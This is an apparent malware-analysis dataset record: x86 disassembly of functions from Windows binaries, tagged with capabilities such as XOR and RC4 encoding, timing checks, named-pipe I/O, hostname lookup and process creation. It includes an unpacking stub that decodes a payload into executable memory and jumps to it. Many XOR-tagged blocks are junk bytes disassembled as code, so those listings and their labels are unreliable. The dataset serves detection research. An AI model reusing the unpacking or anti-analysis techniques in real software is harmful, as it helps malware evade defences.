joyce8/EMBER2024-capa huggingface dataset:
Function at 0x437c1f
Capabilities:
Encode data using xor

Disassembly:
push ebp
xchg ebx, eax
cmp eax, 0x1b16cd70
dec esp
bound edx, qword [ecx]
jge 0x437c2f
jno 0x437ca9
pop eax
cld
dec ebp
xor eax, 0xa82de86d
mov word [eax - 0x704b0f73], es
in eax, dx
shl byte [esi + edx*8 - 0x33], 1
mov esi, 0x1bec7f5e
push 0x2ed12e2f
mov ebp, 0x647b7c6f
dec edi
mov al, 0xbd
cmp dl, ah
xor byte [ecx], dh
test eax, 0x9bd6f3a7
mov ah, 0x59
add cl, ch
pushal
arpl word [esi + 0x78], ax
adc ecx, dword [0x24347452]
or cl, ch
push edi
push edx
push ecx
mov edx, dword [eax]
invalid
aaa
jp 0x437cfd
pop ss
pop ds
outsd dx, dword [esi]
mov ebp, 0x970e022b
and dword [eax - 0x25767371], esi
sbb al, 0xa7
sbb esi, dword [eax + 0x10dcd25c]
fcom qword [edx]
dec ebp
inc esp
aad 0xd5
invalid
cdq
wait
int3
and dl, byte [edi + 0x4a3436cf]
cmc
cmp byte [edi + 0x76], 0x4f
fidiv word [ebx]
outsd dx, dword [esi]
pop ecx
pop esi
mov eax, dword [eax - 0x72]
pop eax
dec edx
cmp dword [eax + 0x5d], edi
inc eax
jge 0x437d8d
push eax
lodsd eax, dword [esi]
out dx, eax
sub al, 0xd7
cld
stosb byte es:[edi], al
jns 0x437d34
shr dword [esi], 0xc3
daa
sbb esp, esi
sbb dword [esi - 0x71], 0x19a9ad5f
pushal
jne 0x437d61
mov bl, 0xa9
sbb byte [ecx], ah
xchg ebx, eax
mov al, 0xd5
push cs
add dword [ebx + 0x742c37f0], 0x32
aas
and dword [ebx - 0x7cf12a50], edx
xor eax, 0x37
sub al, 0x74
xor bh, byte [edi]
lodsd eax, dword [esi]
sub dword [edi], esp
sub byte [eax + 0x36], ah
sbb al, 0x99
xor dword [esi - 0x63], 0x40
and dword [ecx + ebx*8 + 0x665cbde9], edi
out dx, al
and al, 0xce
in al, dx
fcom dword [esi]
aas
invalid
add dword [eax], esi
js 0x437cfa
imul eax, dword [ecx - 0x11], 0xf8303450
hlt
mov ebp, 0xfd64cc45
in eax, 0xd8
mov al, 0x10
adc eax, 0xe5e48c12
je 0x437d31
pop ss
push edi
and al, 0xe8
cmp eax, 0xf1fe5a4
jge 0x437dd1
pop ds
invalid
je 0x437da4
shr dword [ebx], 0x50
sahf
push esp
cmp dword [eax + 0x52ac3a9a], esi
adc al, 0xe0
invalid
cwde
and ebp, dword [edi + 0x66]
cli
invalid

Function at 0x498061
Capabilities:
Encode data using xor

Disassembly:
adc eax, 0x59031b11
arpl word [eax + 2], bx
push ds
add bl, byte [esi]
daa
sbb eax, 0xd2e9dc06
or dl, byte [edi]
sub eax, 0x6f550c17
push ebp
xor dword [ebx], ebp
and byte [edx], bl
push es
fsub st(2), st(0)
ror byte [edi], 1
sub esp, dword [ebx + ebp]
add dword [ebx + 0x60], ebx
pop edx
add byte [edx], bl
and ebx, dword [ecx]
add bl, al
loop 0x498068
add bl, byte [edi]
and eax, 0x645e051f
pop ebp
pop es
sbb eax, 0xd3061c26
jmp 0x2b5b8975
Function at 0x4aab0f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 2
jne 0x4aab41
movzx ecx, word [ebp + 8]
sar ecx, 8
push ecx
mov ecx, dword [ebp - 4]
call fcn.004aaa0f
movzx edx, byte [ebp + 8]
push edx
mov ecx, dword [ebp - 4]
call fcn.004aaa0f
jmp 0x4aac10
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 1
add al, 1
jne 0x4aab6c
movzx ecx, byte [ebp + 8]
push ecx
mov ecx, dword [ebp - 4]
call fcn.004aaa0f
movzx edx, word [ebp + 8]
sar edx, 8
push edx
mov ebp, dword [edi - 0x547cd003]
push ss
jg 0x4aab33
sbb eax, 0x9fa102d2
lahf
mov dword [ebp + ebp*4 + 0xe], 0x9f89ae7a
js 0x4aab46
std
loopne 0x4aab09
sub al, 0xeb
sbb esp, dword [ebx]
pop es
bswap esp
das
mov ah, 0x7f
jmp 0x4aab16
mov bh, 0x70

Function at 0x4aac1f
Capabilities:
Encode data using xor

Disassembly:
cmp ch, al
adc ebp, esp
imul byte [esi]
push 0xffffffffffffffae
adc ebx, dword [esi + 0x1c]
mov dl, 0x87
wait
push ds
jb 0x4aac4e
cwde
pop ebx
mov dh, byte [edi - 0x61998490]
jnp 0x4aac7a
sahf
dec ebp
inc ebp
sub dword [esi - 0x6a0b101], esp
adc ah, cl
loope 0x4aabfa
cmp dword [esi + 0x1a2f942a], eax
invalid
hlt
mov esp, 0x83c3a5d7
loope 0x4aabfa
cmp dword [esi + 0x1a2f942a], eax
invalid
pop ss
mov edi, dword [edi + 0xe25bb9b]
pop edx
inc edi
xor esi, edx
inc esi
and byte ss:[edx - 0x7635dff2], dh
jp 0x4aac2e
jmp 0x4aac12
pop ecx
imul eax, dword [esi - 0x4dac5396], 0xffffffa5
lahf
les esp, [edi - 0x61dbffe9]
inc ebx
sahf
mov ah, 0x70
std
hlt
mov eax, 0xcf062010
cmp ecx, dword [eax + edx + 0x2f]
ljmp 0xad7f

Function at 0x4ae967
Capabilities:
Encode data using xor

Disassembly:
add byte [ebx - 0x70d8b0c7], ah
or dword [esi + 0x3038c309], ecx
sbb edx, 0xffffff89
cmp esi, dword [ecx]
xlatb
movsd dword es:[edi], dword [esi]
mov fs, ebp
cwde
inc ebx
mov gs, word [edx]
test eax, 0x13831384
mov edx, ecx
sub dword [eax], 0x4f2b9b08
add al, 0x93
aam 5
nop
xor al, 0x95
push cs
dec esp
adc eax, dword [ebp + 0x14ed45b]
das
inc eax
xchg ebx, eax
adc al, 0xc4
mov ah, 0xb7
clc
xor ebp, dword [ecx]
lds edi, [ecx + 0x29e3694e]
out dx, al
mov ebp, 0x9453d48e
or al, 0x91
push ds
xchg esp, eax
lea edx, [0xbe339b8e]
sub edx, dword [0x6ddd098b]
in al, 0x3f
daa
and eax, 0xee6eaec1
scasd eax, dword es:[edi]
imul eax, dword [ecx + 0x3309b301], 0x14
adc edx, dword [esi + 0x13]
test eax, 0xa0b3850b
sub bh, byte [eax - 0x72]
and dword [ebp - 0xb], eax
push cs
mov ch, 0xc1
dec eax
salc
mov esp, esp
adc al, 0x93
or dword [ebx + 0x1f03ce82], edx
xor dword [ebx], 0xc142e84
test dword [esi - 0x622e63f7], ecx
jge 0x4ae99e
rcr dword [edx], cl
adc eax, 0x3177bb77
push cs
fild dword [edi + 8]
outsb dx, byte [esi]
push es
rol dword [0x57841119], 1
xor edx, dword [edi]
adc ebp, ecx
adc ebp, dword [ebp - 0x244cdc2f]
inc ebp
dec byte [esi + 9]
adc ecx, dword [ebp + 0x4b1e7512]
fmul dword [ecx - 0x5ce20edf]
popfd
or dword [ecx + 0x1e94affe], edx
pop ebx
add eax, 0x93897fd5
invalid
Function at 0x5d61bf
Capabilities:
Encode data using xor

Disassembly:
inc ecx
sti
mov byte [0x2176f33b], al
rcl dword gs:[eax - 0x48d46d1b], cl
lds esi, [ebx + esi + 0x3a2b3045]
xor eax, dword [ebp + 0x30]
sub edi, dword [edx]
xor dword [esi], ebx
inc eax
invalid
sbb al, 0x25
add ecx, esi
mov al, 0x3c
mov al, 0xc7
adc al, bh
int3
ja 0x5d6114
mov al, 0x96
stosd dword es:[edi], eax
jno 0x5d61b2
jge 0x5d617d
pop edi
loope 0x5d61d0
inc esi
or esp, ebp
cmp al, 0x9e
test dword [edx], esi
jmp 0x5d6124
mov ah, 0x89
push ebp
mov ch, 0x1d
invalid
fisub dword [esi]
xchg ebx, eax
outsd dx, dword [esi]
inc edi
inc esi
and al, 0xc2
je 0x5d61e3
dec ebx
inc edx
push cs
add edi, dword [esi]
pop esi
loope 0x5d618a
mov ecx, 0xed499555
push ebp
xchg ebp, eax
dec ecx
in eax, dx
cmc
call 0x83d63137
loop 0x5d6214
jbe 0x5d61c3
xchg ebx, eax
in eax, 0xd1
cmc
movsb byte es:[edi], byte [esi]
push ebp
push edx
invalid
or eax, ebp
invalid

Function at 0x5d655b
Capabilities:
Encode data using xor

Disassembly:
add dword [esi], ebx
out dx, eax
out 0xa8, al
jbe 0x5d654b
jg 0x5d6596
push esp
adc dword [ecx - 0x3f4afa19], esi
loop 0x5d6565
add eax, 0x19e2c0b5
sbb dword [ebx - 0x58091782], esp
mov dword [0xa7f6e87e], eax
cmpsd dword [esi], dword es:[edi]
pushfd
rcl dword [esi - 0x416e4bd2], cl
lds eax, [ebp]
add byte [edi - 0x4e7ee2a7], ah
mov edi, fs
add byte [edi - 0x4e7ee2a7], ah
mov edi, fs
aas
cdq
adc al, 0x25
sub eax, 0x4730ed08
xor esp, dword fs:[ebx + 0x62]
xor bl, byte [edx]
pop esp
sbb eax, 0xef98977f
je 0x5d653a
jnp 0x5d65a6
out dx, al
push cs
stosb byte es:[edi], al
sub ch, byte [esi]
xor eax, 0x3857ed07
pop ds
jne 0x5d65c6
call 0x16a65fae
mov dword [0x670c6d80], eax
or dword [eax - 0x69], edx
cmp edi, ebx
xchg esp, eax
inc esp
xchg esi, eax
mov ch, 0xef
aaa
mov ebx, 0x17c8d1d
push es
sub edx, dword [eax + edi*8 - 0x37]
clc
leave
lcall 0x477e, 0x4e627255
jle 0x5d6547
insd dword es:[edi], dx
cmp cl, ah
mov dh, bl
lodsd eax, dword [esi]
cli
les edi, [edi - 0x11]
and ecx, dword [edx + 0x44a7fae2]
inc ebp
dec eax
pushal
cmp eax, edx
inc eax
in al, 0xa5
div byte [eax]
add dword [ebx + edi*8 - 0x1e], ebx
push ebx
sub dl, al
xor ebx, dword [edx + 0x13]
cwde
test eax, 0x53f5c862
std
outsd dx, dword [esi]
xlatb
mov dword [0x128b4b8c], eax
imul esi, dword [eax - 0x12], 0x7a326e86
salc
adc ebx, dword [eax + 0x2372e0ea]
jp 0x5d65b2
ret 0xe440
mov ebp, 0xb874436e
dec ecx
enter 0xc66, 0x7f
sub eax, 0x3bec6a5a
sbb cl, byte [ecx + 0x69ada568]
sar bl, 6
rol byte [edi - 0x653cc158], 1
int3

Function at 0x5ed528
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
sub al, 0x1e
push ds
pop eax
pop es
rcl byte [ebp + 9], 0xb2
mov dl, 0x9c
jb 0x5ed521
xchg esi, eax
wait
das
push 0x7e7b2a5
sbb eax, 0xf7208210
and bh, dh
and al, byte [ecx + edi*2 + 0x7a2aabe9]
aaa
sbb dword [ecx], eax
xchg dword [eax - 0x75], esi
lds eax, [edx - 0x78]
pop eax
inc byte [esi - 0x26ccae2d]
sub dword [ecx - 0x3ecb0f90], ebx
add byte [ebx], bl
xchg ebp, eax
xor al, 0x34
dec ebx
mov bh, byte [edx - 0x3f51e18d]
pop es
jnp 0x5ed537
jge 0xa177c27a
mov al, 0xf
dec edi
hlt
Function at 0x2a80c4de
Capabilities:
Check for time delay via gettickcount

Disassembly:
push esi
call dword [sym.imp.kernel32.dll_GetTickCount]
mov esi, eax
shr esi, 4
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
sub eax, esi
cmp eax, 0xc
jbe 0x2a80c4ea
pop esi
ret

Function at 0x2a80d252
Capabilities:
Check if file exists

Disassembly:
push 0x64
mov eax, 0x2a84c785
call fcn.2a8015aa
mov ebx, ecx
cmp dword [ebx + 4], 0xffffffff
jne 0x2a80d393
push 0xffffffffffffffff
lea edi, [ebx + 0xc]
push 0x2a853564
mov ecx, edi
call fcn.2a83e763
mov eax, dword [ebx]
push 0
push 0xffffffffffffffff
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x2a8523cc]
mov ecx, ebx
call esi
push eax
lea ecx, [ebp - 0x54]
call fcn.2a801558
and dword [ebp - 4], 0
lea eax, [ebp - 0x54]
push eax
mov ecx, edi
call fcn.2a8492f7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x44]
call fcn.2a803838
lea ecx, [ebp - 0x4c]
call fcn.2a80385d
push edi
lea ecx, [ebp - 0x3c]
call fcn.2a808c68
lea ecx, [ebp - 0x3c]
mov dword [ebp - 4], 1
call fcn.2a849b38
lea eax, [ebp - 0x24]
mov dword [ebp - 4], 2
push eax
call fcn.2a84a405
mov esi, eax
mov dword [ebp - 0x18], vtable.RSSecurityUtilsWin::CLocalFreeGuard.0
pop ecx
mov dword [ebp - 0x14], esi
mov ecx, dword [ebx + 8]
xor edi, edi
mov byte [ebp - 4], 3
cmp dword [ecx], edi
jne 0x2a80d358
lea ecx, [ebp - 0x3c]
call fcn.2a849b38
push edi
push 0x40110000
push 3
lea ecx, [ebp - 0x24]
push ecx
push edi
push 0xc0000000
push eax
call dword [sym.imp.kernel32.dll_CreateFileA]
mov dword [ebx + 4], eax
cmp eax, 0xffffffff
jne 0x2a80d358
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x2a80d3af
cmp eax, 0xe7
jne 0x2a80d399
lea ecx, [ebp - 0x3c]
call fcn.2a849b38
push 0x4e20
push eax
call dword [sym.imp.kernel32.dll_WaitNamedPipeA]
test eax, eax
je 0x2a80d3be
mov eax, dword [ebx + 8]
cmp dword [eax], edi
je 0x2a80d2fe
cmp dword [ebx + 4], 0xffffffff
je 0x2a80d374
push edi
push edi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 2
push eax
push dword [ebx + 4]
call dword [sym.imp.kernel32.dll_SetNamedPipeHandleState]
mov byte [ebp - 4], 6
test esi, esi
je 0x2a80d383
push esi
call dword [sym.imp.kernel32.dll_LocalFree]
lea ecx, [ebp - 0x2c]
call fcn.2a803838
lea ecx, [ebp - 0x34]
call fcn.2a80385d
call fcn.2a80187a
ret
push edi
push 0xffffffffffffffff
push str.Problem_Opening_channel
lea ecx, [ebp - 0x54]
call fcn.2a801558
mov byte [ebp - 4], 4
jmp 0x2a80d3d2
lea ecx, [ebp - 0x70]
call fcn.2a80cfd1
push 0x2a85afe8
jmp 0x2a80d3e3
push edi
push 0xffffffffffffffff
push str.Problem_Opening_channel__all_pipe_instances_are_busy
lea ecx, [ebp - 0x54]
call fcn.2a801558
mov byte [ebp - 4], 5
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp - 0x70]
call fcn.2a83e763
push 0x2a85b040
lea eax, [ebp - 0x70]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a80d67d
Capabilities:
Read file on windows

Disassembly:
push 0x5c
mov eax, 0x2a84c801
call fcn.2a8015aa
mov edi, ecx
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
je 0x2a80d7e9
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x2a80d7d3
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
je 0x2a80d755
cmp eax, 0x6d
je 0x2a80d783
push ebx
push 0xffffffffffffffff
push str.Read_Error
lea ecx, [ebp - 0x48]
call fcn.2a801558
mov byte [ebp - 4], 4
jmp 0x2a80d7fd
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
cmp eax, 1
je 0x2a80d767
push ebx
push ebx
push ebx
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x2a80d755
cmp eax, 0xffffffff
je 0x2a80d792
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
test eax, eax
jne 0x2a80d718
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x2a80d79b
sub eax, 1
jne 0x2a80d6ca
lea ecx, [ebp - 0x68]
call fcn.2a80ceef
push 0x2a85b05c
jmp 0x2a80d80e
mov dword [ebp - 4], 2
jmp 0x2a80d7da
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
jne 0x2a80d7d3
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x6d
je 0x2a80d783
push ebx
push 0xffffffffffffffff
push str.unexpected_error
lea ecx, [ebp - 0x48]
call fcn.2a801558
mov byte [ebp - 4], 3
jmp 0x2a80d7fd
mov dword [ebp - 4], 5
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a80187a
ret 8
push ebx
push 0xffffffffffffffff
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a801558
mov byte [ebp - 4], 1
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x68]
call fcn.2a83e763
push 0x2a85b040
lea eax, [ebp - 0x68]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a80d818
Capabilities:
Read file on windows

Disassembly:
push 0x58
mov eax, 0x2a84c843
call fcn.2a8015aa
mov edi, ecx
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
je 0x2a80d924
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_ReadFile]
test eax, eax
jne 0x2a80d90e
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x2a80d8f3
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x2a80d8bb
sub eax, 1
jne 0x2a80d865
lea ecx, [ebp - 0x64]
call fcn.2a80ceef
push 0x2a85b05c
jmp 0x2a80d949
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
test eax, eax
jne 0x2a80d90e
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x6d
je 0x2a80d8a9
push ebx
push 0xffffffffffffffff
push str.unexpected_error
lea ecx, [ebp - 0x48]
call fcn.2a801558
mov byte [ebp - 4], 2
jmp 0x2a80d938
cmp eax, 0x6d
je 0x2a80d8a9
push ebx
push 0xffffffffffffffff
push str.Read_Error
lea ecx, [ebp - 0x48]
call fcn.2a801558
mov byte [ebp - 4], 3
jmp 0x2a80d938
push esi
mov dword [ebp - 4], 4
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a80187a
ret 8
push ebx
push 0xffffffffffffffff
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a801558
mov byte [ebp - 4], 1
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x64]
call fcn.2a83e763
push 0x2a85b040
lea eax, [ebp - 0x64]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a80d983
Capabilities:
Write file on windows

Disassembly:
push 0x74
mov eax, 0x2a84c87d
call fcn.2a8015aa
mov edi, ecx
cmp dword [edi + 4], 0xffffffff
je 0x2a80dabd
xor ebx, ebx
lea eax, [ebp - 0x30]
push 0x14
push ebx
push eax
mov dword [ebp - 0x10], ebx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_CreateEventA]
mov esi, eax
mov dword [ebp - 0x14], esi
mov eax, dword [edi + 8]
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 4], ebx
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x18], eax
cmp esi, 0xffffffff
jne 0x2a80d9ff
push ebx
push esi
push str.Failed_to_create_connection
lea ecx, [ebp - 0x48]
call fcn.2a801558
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x64]
call fcn.2a83e763
push 0x2a85b040
jmp 0x2a80daca
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x2a80da54
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x2a80da6a
push 0xffffffffffffffff
push ebx
lea eax, [ebp - 0x1c]
push eax
push 2
call dword [sym.imp.kernel32.dll_WaitForMultipleObjects]
sub eax, ebx
je 0x2a80da41
sub eax, 1
jne 0x2a80d9ff
jmp 0x2a80dabd
push 1
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x30]
push eax
push dword [edi + 4]
call dword [sym.imp.kernel32.dll_GetOverlappedResult]
push esi
mov dword [ebp - 4], 3
call dword [sym.imp.kernel32.dll_CloseHandle]
call fcn.2a80187a
ret 8
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xe8
je 0x2a80daae
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xe9
je 0x2a80daae
push ebx
push 0xffffffffffffffff
push str.Connection_Closed
lea ecx, [ebp - 0x48]
call fcn.2a801558
lea eax, [ebp - 0x48]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x80]
call fcn.2a83e763
push 0x2a85b040
lea eax, [ebp - 0x80]
jmp 0x2a80dacd
lea ecx, [ebp - 0x80]
call fcn.2a80ceef
push 0x2a85b05c
jmp 0x2a80daa9
lea ecx, [ebp - 0x64]
call fcn.2a80ceef
push 0x2a85b05c
lea eax, [ebp - 0x64]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a82cc8b
Capabilities:
Encode data using base64

Disassembly:
push 0x14
mov eax, 0x2a84f345
call fcn.2a8015aa
mov edi, dword [ebp + 0xc]
xor ecx, ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], edi
cmp dword [edi + 0x14], 0x10
jb 0x2a82ccad
mov eax, dword [edi]
mov dword [ebp - 0x14], eax
mov esi, dword [ebp + 8]
mov ebx, dword [edi + 0x10]
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x20], esi
mov dword [esi + 0x10], ecx
mov dword [esi + 0x14], 0xf
mov byte [esi], cl
push ecx
mov eax, ebx
mov dword [ebp - 4], ecx
shl eax, 2
push 3
pop ecx
cdq
idiv ecx
mov dword [ebp - 0x1c], 1
add eax, ecx
mov ecx, esi
push eax
call fcn.2a83e763
cmp dword [esi + 0x14], 0x10
mov edx, esi
jb 0x2a82ccef
mov edx, dword [esi]
xor ecx, ecx
test ebx, ebx
jle 0x2a82cda0
mov esi, dword [ebp - 0x14]
movzx eax, byte [esi + ecx]
shr eax, 2
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx], al
mov bl, byte [esi + ecx]
and bl, 3
shl bl, 4
inc ecx
cmp ecx, dword [ebp - 0x10]
jge 0x2a82cd22
mov al, byte [esi + ecx]
shr al, 4
or bl, al
movzx eax, bl
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [edx + 1], al
mov eax, dword [ebp - 0x10]
cmp ecx, eax
jge 0x2a82cd63
cmp dword [edi + 0x14], 0x10
mov ebx, edi
jb 0x2a82cd3f
mov ebx, dword [edi]
mov bl, byte [ebx + ecx]
and bl, 0xf
shl bl, 2
inc ecx
cmp ecx, eax
jge 0x2a82cd55
mov al, byte [esi + ecx]
shr al, 6
or bl, al
movzx eax, bl
mov bl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov eax, dword [ebp - 0x10]
jmp 0x2a82cd65
mov bl, 0x3d
lea esi, [edx + 3]
mov byte [edx + 2], bl
mov dword [ebp - 0x18], esi
mov edx, esi
mov esi, dword [ebp - 0x14]
inc edx
cmp ecx, eax
jge 0x2a82cd8a
movzx eax, byte [esi + ecx]
and eax, 0x3f
mov bl, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov eax, dword [ebp - 0x10]
jmp 0x2a82cd8c
mov bl, 0x3d
mov esi, dword [ebp - 0x18]
inc ecx
mov byte [esi], bl
mov esi, dword [ebp - 0x14]
cmp ecx, eax
jl 0x2a82ccfc
mov esi, dword [ebp - 0x20]
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x2a82cdaa
mov eax, dword [esi]
push 0
sub edx, eax
mov ecx, esi
push edx
call fcn.2a83e763
mov eax, esi
call fcn.2a80187a
ret

Function at 0x2a82f2c5
Capabilities:
Get hostname

Disassembly:
push 0x448
mov eax, 0x2a84f81b
call fcn.2a84a907
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x410]
mov edi, 0x400
mov dword [ebp - 0x450], esi
push edi
xor ebx, ebx
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x410]
push edi
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
test eax, eax
jne 0x2a82f329
lea eax, [ebp - 0x410]
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], 0xf
mov ecx, esi
push eax
mov byte [esi], bl
call fcn.2a805678
mov eax, esi
call fcn.2a84a8e5
ret
push 0x93
lea ecx, [ebp - 0x454]
call fcn.2a83e763
lea ecx, [ebp - 0x44c]
mov dword [ebp - 4], ebx
push ecx
mov ecx, eax
call fcn.2a827d86
push eax
lea ecx, [ebp - 0x434]
mov byte [ebp - 4], 1
call fcn.2a821de4
push 0x2a85dc48
lea eax, [ebp - 0x434]
push eax
call sub.VCRUNTIME140.dll__CxxThrowException
int3
Function at 0x2a83e763
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
pushal
call 0x2a83e772
pop dword [ebp - 0x48]
mov eax, 0x2a83e772
sub dword [ebp - 0x48], eax
mov dword [ebp - 0x58], 0x7cd10ffb
sub dword [ebp - 0x58], 0x2e7ecab0
mov dword [ebp - 0x54], 0xb25d3671
sub dword [ebp - 0x54], 0x8029ea2c
mov dword [ebp - 0x50], 0x6bde8b4d
sub dword [ebp - 0x50], 0x1f92471f
mov dword [ebp - 0x4c], 0xb0dda9f0
add dword [ebp - 0x4c], 0x4f225610
lea eax, [ebp - 0x58]
push eax
mov eax, 0xccad4aec
sub eax, 0xa22829a8
add eax, dword [ebp - 0x48]
call dword [eax]
mov dword [ebp - 0x58], 0x1aaf57e3
sub dword [ebp - 0x58], 0xa63cee8d
mov dword [ebp - 0x54], 0xd67a20ca
sub dword [ebp - 0x54], 0x950dbf55
mov dword [ebp - 0x50], 0x251ed238
add dword [ebp - 0x50], 0x3e509a34
mov dword [ebp - 0x4c], 0x154dac61
add dword [ebp - 0x4c], 0xeab2539f
lea ebx, [ebp - 0x58]
push ebx
push eax
mov eax, 0x7ecfb8b9
sub eax, 0x544a977d
add eax, dword [ebp - 0x48]
call dword [eax]
push 0x40
push 0x1000
push 0x4a354
push 0
call eax
mov ecx, 0x82e6fe0b
sub ecx, 0x82e6b60e
mov ebx, eax
mov esi, 0x2a87ea00
add esi, dword [ebp - 0x48]
mov edx, 0x85e14dac
add edx, 0x391cd57e
sub dword [ebp - 0x10], edi
mov edi, dword [esi]
add dword [ebp - 0x44], 0xdcae3d74
add edi, edx
xor dword [ebp - 0x30], 0xaa810e2a
mov dword [ebx], edi
xor dword [ebp - 0x24], 0xacca91e7
add ebx, 0x335df3b
add ebx, 0xfcca20c9
add esi, 4
loop 0x2a83e889
add eax, 0x112c7
xor ebx, ebx
add ebx, eax
add eax, 0xbdafbdc6
sub eax, 0xbdafbdc1
mov ecx, 0x2a800000
add ecx, dword [ebp - 0x48]
call ebx
leave
ret
Function at 0x2a84a76f
Capabilities:
Create process on windows

Disassembly:
push 0x48
mov eax, 0x2a851e75
call fcn.2a8015aa
mov edi, ecx
push 0x44
pop esi
push esi
xor ebx, ebx
lea eax, [ebp - 0x54]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
push 0x10
mov dword [ebp - 0x54], esi
call fcn.2a83e763
mov esi, eax
add esp, 0x10
mov dword [ebp - 0x10], esi
